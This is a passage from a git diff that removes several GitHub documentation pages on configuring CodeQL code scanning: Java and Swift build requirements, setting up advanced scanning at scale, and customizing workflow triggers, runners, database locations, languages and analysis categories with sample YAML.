Gradle and Maven files are present, the Gradle file is used. -1. Otherwise, search for build files in direct subdirectories of the root directory. If only one subdirectory contains build files, run the first file identified in that subdirectory (using the same preference as for 1). If more than one subdirectory contains build files, report an error. - -### Runner requirements for Java - -If you're using self-hosted runners, the required version(s) of Java should be present: - -* If the runner will be used for analyzing repositories that need a single version of Java, then the appropriate JDK version needs to be installed, and needs to be present in the PATH variable (so that `java` and `javac` can be found). - -* If the runner will be used for analyzing repositories that need multiple versions of Java, then the appropriate JDK versions need to be installed, and can be specified via the `toolchains.xml` file. This is a configuration file, typically used by Apache Maven, that allows you to specify the location of the tools, the version of the tools, and any additional configuration that is required to use the tools. For more information, see [Guide to Using Toolchains](https://maven.apache.org/guides/mini/guide-using-toolchains.html) in the Apache Maven documentation. - -The following executables will likely be required for a range of Java projects, and should be present in the PATH variable, but they will not be essential in all cases: - -* `mvn` (Apache Maven) -* `gradle` (Gradle) -* `ant` (Apache Ant) - -You will also need to install the build system (for example `make`, `cmake`, `bazel`) and utilities (such as `python`, `perl`, `lex`, and `yacc`) that your projects depend on. - -Windows runners require `powershell.exe` to be on the `PATH`. - -## Building Swift - -{% ifversion codeql-no-build %}{% data variables.product.prodname_codeql %} supports build modes `autobuild` or `manual` for Swift code. - -### Autobuild summary for Swift{% endif %} - -| Supported system type | System name | -|----|----| -| Operating system | macOS | -| Build system | Xcode | - -The `autobuild` process tries to build the biggest target from an Xcode project or workspace. - -Code scanning of Swift code uses macOS runners by default. {% ifversion fpt or ghec %}Since {% data variables.product.company_short %}-hosted macOS runners are more expensive than Linux and Windows runners, we recommend that you build only the code that you want to analyze. For more information about pricing for {% data variables.product.company_short %}-hosted runners, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).{% endif %} - -{% data reusables.code-scanning.default-setup-swift-self-hosted-runners %} - -### Customizing Swift compilation in a {% data variables.code-scanning.codeql_workflow %} - -`xcodebuild` and `swift build` are both supported for Swift builds. We recommend only targeting one architecture during the build. For example, `ARCH=arm64` for `xcodebuild`, or `--arch arm64` for `swift build`. - -You can pass the `archive` and `test` options to `xcodebuild`. However, the standard `xcodebuild` command is recommended as it should be the fastest, and should be all that {% data variables.product.prodname_codeql %} requires for a successful scan. - -For Swift analysis, you must always explicitly install dependencies managed via CocoaPods or Carthage before generating the {% data variables.product.prodname_codeql %} database. diff --git a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning-with-codeql-at-scale.md b/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning-with-codeql-at-scale.md deleted file mode 100644 index bf756c6eb03f..000000000000 --- a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning-with-codeql-at-scale.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Configuring advanced setup for code scanning with CodeQL at scale -shortTitle: CodeQL advanced setup at scale -intro: 'You can use a script to configure advanced setup for {% data variables.product.prodname_code_scanning %} for a specific group of repositories in your organization.' -permissions: '{% data reusables.permissions.security-org-enable %}' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-advanced-setup-for-code-scanning-with-codeql-at-scale -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Code Security - - Code scanning -allowTitleToDifferFromFilename: true ---- - -## About enabling advanced setup for {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %} at scale - -If you need to configure a highly customizable {% data variables.product.prodname_code_scanning %} setup for many repositories in your organization, or if repositories in your organization are ineligible for default setup, you can enable {% data variables.product.prodname_code_scanning %} at scale with advanced setup. - -To enable advanced setup across multiple repositories, you can write a bulk configuration script. To successfully execute the script, {% data variables.product.prodname_actions %} must be enabled for the {% ifversion fpt %}organization{% elsif ghec %}organization or enterprise{% elsif ghes %}site{% endif %}. - -Alternatively, if you do not need granular control over the {% data variables.product.prodname_code_scanning %} configuration for many repositories in your organization, you can quickly and easily configure {% data variables.product.prodname_code_scanning %} at scale with default setup. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale). - -## Using a script to enable advanced setup - -For repositories that are not eligible for default setup, you can use a bulk configuration script to enable advanced setup across multiple repositories. - -1. Identify a group of repositories that can be analyzed using the same {% data variables.product.prodname_code_scanning %} configuration. For example, all repositories that build Java artifacts using the production environment. -1. Create and test a {% data variables.product.prodname_actions %} workflow to call the {% data variables.product.prodname_codeql %} action with the appropriate configuration. For more information, see [AUTOTITLE](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-advanced-setup-for-code-scanning#configuring-advanced-setup-for-code-scanning-with-codeql). -1. Use one of the example scripts or create a custom script to add the workflow to each repository in the group. - * PowerShell example: [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository - * NodeJS example: [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) repository - * Python example: [`Malwarebytes/ghas-cli`](https://github.com/Malwarebytes/ghas-cli) repository - -{% ifversion codeql-model-packs-org %} - -### Extending {% data variables.product.prodname_codeql %} coverage with model packs - -{% data reusables.code-scanning.beta-model-packs %} - -If your codebase depends on a library or framework that is not recognized by the standard queries in {% data variables.product.prodname_codeql %}, you can extend the {% data variables.product.prodname_codeql %} coverage in your bulk configuration script by specifying published {% data variables.product.prodname_codeql %} model packs. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#extending-codeql-coverage-with-codeql-model-packs). - -Alternatively, if you do not need granular control over the {% data variables.product.prodname_code_scanning %} configuration for many repositories in your organization, you can quickly and easily configure model packs with {% data variables.product.prodname_code_scanning %} at scale with default setup. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup#extending-codeql-coverage-with-codeql-model-packs-in-default-setup). - -{% endif %} diff --git a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning.md b/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning.md deleted file mode 100644 index e49e5285864f..000000000000 --- a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Configuring advanced setup for code scanning -shortTitle: Configure advanced setup -intro: 'You can configure advanced setup for a repository to find security vulnerabilities in your code using a highly customizable {% data variables.product.prodname_code_scanning %} configuration.' -permissions: '{% data reusables.permissions.security-repo-enable %}' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-advanced-setup-for-code-scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Code Security - - Code scanning - - Actions - - Repositories -allowTitleToDifferFromFilename: true ---- - -{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} - -## About advanced setup for {% data variables.product.prodname_code_scanning %} - -Advanced setup for {% data variables.product.prodname_code_scanning %} is helpful when you need to customize your {% data variables.product.prodname_code_scanning %}. By creating and editing a workflow file, you can define how to build compiled languages, choose which queries to run, select the languages to scan, use a matrix build, and more. You also have access to all the options for controlling workflows, for example: changing the scan schedule, defining workflow triggers, specifying specialist runners to use. For more information about {% data variables.product.prodname_actions %} workflows, see [AUTOTITLE](/actions/using-workflows/about-workflows). - -{% ifversion fpt or ghec %} -You can also configure {% data variables.product.prodname_code_scanning %} with third-party tools. For more information, see [Configuring {% data variables.product.prodname_code_scanning %} using third-party actions](#configuring-code-scanning-using-third-party-actions). - -{% else %} -Your site administrator can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. For more information, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions). -{% endif %} - -{% data reusables.code-scanning.about-multiple-configurations-link %} -{% data reusables.code-scanning.codeql-action-version-ghes %} - -If you do not need a highly customizable {% data variables.product.prodname_code_scanning %} configuration, consider using default setup for {% data variables.product.prodname_code_scanning %}. For more information on eligibility for default setup, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#requirements-for-using-default-setup). - -### Prerequisites - -Your repository is eligible for advanced setup if it meets these requirements. -* It uses {% data variables.product.prodname_codeql %}-supported languages or you plan to generate code scanning results with a third-party tool. -{% data reusables.code-scanning.require-actions-ghcs %} - -{% ifversion ghes %} -If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, your site administrator can enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} by making the {% data variables.product.prodname_codeql %} analysis bundle available on the server. For more information, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access). -{% endif %} - -## Configuring advanced setup for {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %} - -You can customize your {% data variables.product.prodname_codeql %} analysis by creating and editing a workflow file. Selecting advanced setup generates a basic workflow file for you to customize using standard workflow syntax and specifying options for the {% data variables.product.prodname_codeql %} action. See [AUTOTITLE](/actions/using-workflows/about-workflows) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning). - -{% data reusables.code-scanning.billing %} - -{% ifversion fpt %} - - > [!NOTE] - > You can configure {% data variables.product.prodname_code_scanning %} for any public repository where you have write access. - -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.user-settings.security-analysis %} -1. Scroll down to the "{% data variables.product.prodname_code_scanning_caps %}" section, select **Set up** {% octicon "triangle-down" aria-hidden="true" %}, then click **Advanced**. - - > [!NOTE] - > If you are switching from default setup to advanced setup, in the "{% data variables.product.prodname_code_scanning_caps %}" section, select {% octicon "kebab-horizontal" aria-label="Menu" %}, then click **{% octicon "workflow" aria-hidden="true" %} Switch to advanced**. In the pop-up window that appears, click **Disable {% data variables.product.prodname_codeql %}**. - - ![Screenshot of the "{% data variables.product.prodname_code_scanning_caps %}" section of "{% data variables.product.UI_advanced_security %}" settings. The "Advanced setup" button is highlighted with an orange outline.](/assets/images/help/security/advanced-code-scanning-setup.png) - -1. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow. - - Generally, you can commit the {% data variables.code-scanning.codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing. - - For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages). - -1. Click **Commit changes...** to display the commit changes form. - - ![Screenshot of the form to create a new file. To the right of the file name, a green button, labeled "Commit changes...", is outlined in dark orange.](/assets/images/help/repository/start-commit-commit-new-file.png) -1. In the commit message field, type a commit message. -1. Choose whether you'd like to commit directly to the default branch, or create a new branch and start a pull request. -1. Click **Commit new file** to commit the workflow file to the default branch or click **Propose new file** to commit the file to a new branch. -1. If you created a new branch, click **Create pull request** and open a pull request to merge your change into the default branch. - -In the suggested {% data variables.code-scanning.codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence. - -The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. See [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#configuring-frequency) and [AUTOTITLE](/actions/using-workflows/triggering-a-workflow). - -For information on bulk enablement, see [AUTOTITLE](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-advanced-setup-for-code-scanning-with-codeql-at-scale). - -{% ifversion fpt or ghec %} - -## Configuring {% data variables.product.prodname_code_scanning %} using third-party actions - -{% data variables.product.github %} includes workflow templates for third-party actions, as well as the {% data variables.product.prodname_codeql %} action. Using a workflow template is much easier than writing a workflow unaided. - -{% data reusables.code-scanning.billing %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. If the repository has already at least one workflow configured and running, click **New workflow** to display workflow templates. If there are currently no workflows configured for the repository, go to the next step. - - ![Screenshot of the Actions tab for a repository. The "New workflow" button is outlined in dark orange.](/assets/images/help/security/actions-new-workflow-button.png) - -1. In the "Choose a workflow" or "Get started with {% data variables.product.prodname_actions %}" view, scroll down to the "Security" category and click **Configure** under the workflow you want to configure. You may need to click **View all** to find the security workflow you want to configure. - - ![Screenshot of the Security category of workflow templates. The Configure button and "View all" link are highlighted with an orange outline.](/assets/images/help/security/actions-workflows-security-section.png) - -1. Follow any instructions in the workflow to customize it to your needs. For more general assistance about workflows, click **Documentation** on the right pane of the workflow page. - - ![Screenshot showing a workflow template file open for editing. The "Documentation" button is highlighted with an orange outline.](/assets/images/help/security/actions-workflows-documentation.png) - - For more information, see [AUTOTITLE](/actions/learn-github-actions/using-starter-workflows#choosing-and-using-a-starter-workflow) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning). - -{% endif %} - -## Next steps - -After your workflow runs successfully at least once, you are ready to start examining and resolving {% data variables.product.prodname_code_scanning %} alerts. For more information on {% data variables.product.prodname_code_scanning %} alerts, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts) and [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository). - -Learn how {% data variables.product.prodname_code_scanning %} runs behave as checks on pull requests, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests#about-code-scanning-as-a-pull-request-check). - -You can find detailed information about your {% data variables.product.prodname_code_scanning %} configuration, including timestamps for each scan and the percentage of files scanned, on the tool status page. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page). - -### Further reading - -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests). -* [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#github-actions-notification-options). -* [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning). -* [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/viewing-code-scanning-logs). diff --git a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning.md b/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning.md deleted file mode 100644 index d075a971a99f..000000000000 --- a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning.md +++ /dev/null @@ -1,573 +0,0 @@ ---- -title: Customizing your advanced setup for code scanning -intro: 'You can customize how your advanced setup scans the code in your project for vulnerabilities and errors.' -permissions: '{% data reusables.permissions.code-scanning-all-alerts %} if [advanced setup](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning) is already enabled' -redirect_from: - - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning - - /code-security/secure-coding/configuring-code-scanning - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/customizing-code-scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Code Security - - Code scanning - - Actions - - Repositories - - Pull requests - - JavaScript - - Python -shortTitle: Customize advanced setup -allowTitleToDifferFromFilename: true ---- -<!--The CodeQL CLI man pages include a link to a section of the article. If you rename this article, -make sure that you also update the MS short link: https://aka.ms/code-scanning-docs/config-file.--> - -{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} - -{% data reusables.code-scanning.codeql-action-version-ghes %} - -## About {% data variables.product.prodname_code_scanning %} configuration - -You can run {% data variables.product.prodname_code_scanning %} on {% data variables.product.github %}, using {% data variables.product.prodname_actions %}, or from your continuous integration (CI) system. For more information, see [AUTOTITLE](/actions/learn-github-actions) or [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system). - -With advanced setup for {% data variables.product.prodname_code_scanning %}, you can customize a {% data variables.product.prodname_code_scanning %} workflow for granular control over your configuration. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning). - -{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-hidden="true" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.code-scanning.codeql_workflow %} file. - -## Editing a {% data variables.product.prodname_code_scanning %} workflow - -{% data variables.product.prodname_dotcom %} saves workflow files in the _.github/workflows_ directory of your repository. You can find a workflow you have added by searching for its file name. For example, by default, the workflow file for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} is called _codeql-analysis.yml_. - -1. In your repository, browse to the workflow file you want to edit. -1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="Edit file" %}. -1. After you have edited the file, click **Start commit** and complete the "Commit changes" form. You can choose to commit directly to the current branch, or create a new branch and start a pull request. - -For more information about editing workflow files, see [AUTOTITLE](/actions/learn-github-actions). - -## Configuring frequency - -You can configure the {% data variables.code-scanning.codeql_workflow %} to scan code on a schedule or when specific events occur in a repository. - -Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository. - -### Scanning on push - -By default, the {% data variables.code-scanning.codeql_workflow %} uses the `on:push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#on). - -If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository). - -Additionally, when an `on:push` scan returns results that can be mapped to an open pull request, these alerts will automatically appear on the pull request in the same places as other pull request alerts. The alerts are identified by comparing the existing analysis of the head of the branch to the analysis for the target branch. For more information on {% data variables.product.prodname_code_scanning %} alerts in pull requests, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests). - -### Scanning pull requests - -The default {% data variables.code-scanning.codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks).{% endif %} - -For more information about the `pull_request` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull_request). - -If you scan pull requests, then the results appear as alerts in a pull request check. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests). - -Using the `pull_request` trigger, configured to scan the pull request's merge commit rather than the head commit, will produce more efficient and accurate results than scanning the head of the branch on each push. However, if you use a CI/CD system that cannot be configured to trigger on pull requests, you can still use the `on:push` trigger and {% data variables.product.prodname_code_scanning %} will map the results to open pull requests on the branch and add the alerts as annotations on the pull request. For more information, see [Scanning on push](#scanning-on-push). - -{% ifversion fpt or ghec %} - -> [!NOTE] -> If your repository is configured with a merge queue, you need to include the `merge_group` event as an additional trigger for {% data variables.product.prodname_code_scanning %}. This will ensure that pull requests are also scanned when they are added to a merge queue. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue). - -{% endif %} - -### Avoiding unnecessary scans of pull requests - -You might want to avoid a code scan being triggered on specific pull requests targeted against the default branch, irrespective of which files have been changed. You can configure this by specifying `on:pull_request:paths-ignore` or `on:pull_request:paths` in the {% data variables.product.prodname_code_scanning %} workflow. For example, if the only changes in a pull request are to files with the file extensions `.md` or `.txt` you can use the following `paths-ignore` array. - -``` yaml copy -on: - push: - branches: [main, protected] - pull_request: - branches: [main] - paths-ignore: - - '**/*.md' - - '**/*.txt' -``` - -> [!NOTE] -> `on:pull_request:paths-ignore` and `on:pull_request:paths` set conditions that determine whether the actions in the workflow will run on a pull request. They don't determine what files will be analyzed when the actions _are_ run. When a pull request contains any files that are not matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, the workflow runs the actions and scans all of the files changed in the pull request, including those matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, unless the files have been excluded. For information on how to exclude files from analysis, see [Specifying directories to scan](#specifying-directories-to-scan). - -For more information about using `on:pull_request:paths-ignore` and `on:pull_request:paths` to determine when a workflow will run for a pull request, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore). - -### Scanning on a schedule - -If you use the default {% data variables.code-scanning.codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onschedule). - -> [!NOTE] -> {% data variables.product.prodname_dotcom %} only runs scheduled jobs that are in workflows on the default branch. Changing the schedule in a workflow on any other branch has no effect until you merge the branch into the default branch. - -### Example - -The following example shows a {% data variables.code-scanning.codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`. - -``` yaml copy -on: - push: - branches: [main, protected] - pull_request: - branches: [main] - schedule: - - cron: '20 14 * * 1' -``` - -This workflow scans: -* Every push to the default branch and the protected branch -* Every pull request to the default branch -* The default branch every Monday at 14:20 UTC - -## Specifying an operating system - -> [!NOTE] -> * Code scanning of Swift code uses macOS runners by default. {% ifversion fpt or ghec %}{% data variables.product.company_short %}-hosted macOS runners are more expensive than Linux and Windows runners, so you should consider only scanning the build step. For more information about configuring code scanning for Swift, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#considerations-for-building-swift). For more information about pricing for {% data variables.product.company_short %}-hosted runners, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).{% endif %} -> -> * {% data reusables.code-scanning.default-setup-swift-self-hosted-runners %} - -If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.code-scanning.codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %} - -``` yaml copy -jobs: - analyze: - name: Analyze - runs-on: [ubuntu-latest] -``` - -If you choose to use a self-hosted runner for code scanning, you can specify an operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% endif %} - -``` yaml copy -jobs: - analyze: - name: Analyze - runs-on: [self-hosted, ubuntu-latest] -``` - -{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} supports the latest versions of Ubuntu, Windows, and macOS. Typical values for this setting are therefore: `ubuntu-latest`, `windows-latest`, and `macos-latest`. For more information, see [AUTOTITLE](/actions/using-jobs/choosing-the-runner-for-a-job) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners). - -{% ifversion ghes %}You must ensure that Git is in the PATH variable on your self-hosted runners.{% else %}If you use a self-hosted runner, you must ensure that Git is in the PATH variable.{% endif %} For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis{% ifversion not ghes %} on self-hosted machines{% endif %}, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/recommended-hardware-resources-for-running-codeql). - -## Specifying the location for {% data variables.product.prodname_codeql %} databases - -In general, you do not need to worry about where the {% data variables.code-scanning.codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action. - -``` yaml copy -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - db-location: {% raw %}'${{ github.runner_temp }}/my_location'{% endraw %} -``` - -The {% data variables.code-scanning.codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). - -If this parameter is not used, the {% data variables.code-scanning.codeql_workflow %} will create databases in a temporary location of its own choice. Currently the default value is {% raw %}`${{ github.runner_temp }}/codeql_databases`{% endraw %}. - -## Changing the languages that are analyzed - -{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} automatically detects code written in the supported languages. - -{% data reusables.code-scanning.codeql-languages-bullets %} - -{% data variables.product.prodname_codeql %} uses the following language identifiers: - -{% data reusables.code-scanning.codeql-language-identifiers-table %} - -The default {% data variables.code-scanning.codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs). - -{% data reusables.code-scanning.specify-language-to-analyze %} - -If your workflow uses the `language` matrix then {% data variables.product.prodname_codeql %} is hardcoded to analyze only the languages in the matrix. To change the languages you want to analyze, edit the value of the matrix variable. You can remove a language to prevent it being analyzed or you can add a language that was not present in the repository when {% data variables.product.prodname_code_scanning %} was configured. For example, if the repository initially only contained JavaScript when {% data variables.product.prodname_code_scanning %} was configured, and you later added Python code, you will need to add `python` to the matrix. - -```yaml copy -jobs: - analyze: - name: Analyze - ... - strategy: - fail-fast: false - matrix: - language: ['javascript-typescript', 'python'] -``` - -If your workflow does not contain a matrix called `language`, then {% data variables.product.prodname_codeql %} is configured to run analysis sequentially. If you don't specify languages in the workflow, {% data variables.product.prodname_codeql %} automatically detects, and attempts to analyze, any supported languages in the repository. If you want to choose which languages to analyze, without using a matrix, you can use the `languages` parameter under the `init` action. - -```yaml copy -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - languages: c-cpp, csharp, python -``` - -## Defining the alert severities that cause a check failure for a pull request - -{% ifversion code-scanning-merge-protection-rulesets %} - -You can use rulesets to prevent pull requests from being merged when one of the following conditions is met: - -{% data reusables.code-scanning.merge-protection-rulesets-conditions %} - -For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/set-code-scanning-merge-protection). For more general information about rulesets, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -{% else %} - -{% data reusables.code-scanning.pull-request-checks %} - -You can edit which severity and security severity alert levels cause a check failure. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup#defining-the-alert-severities-that-cause-a-check-failure-for-a-pull-request). - -{% endif %} - -## Configuring a category for the analysis - -Use `category` to distinguish between multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. The category you specify in your workflow will be included in the SARIF results file. - -This parameter is particularly useful if you work with monorepos and have multiple SARIF files for different components of the monorepo. - -``` yaml copy - - name: Perform CodeQL Analysis - uses: {% data reusables.actions.action-codeql-action-analyze %} - with: - # Optional. Specify a category to distinguish between multiple analyses - # for the same tool and ref. If you don't use `category` in your workflow, - # GitHub will generate a default category name for you - category: "my_category" -``` - -If you don't specify a `category` parameter in your workflow, {% data variables.product.github %} will generate a category name for you, based on the name of the workflow file triggering the action, the action name, and any 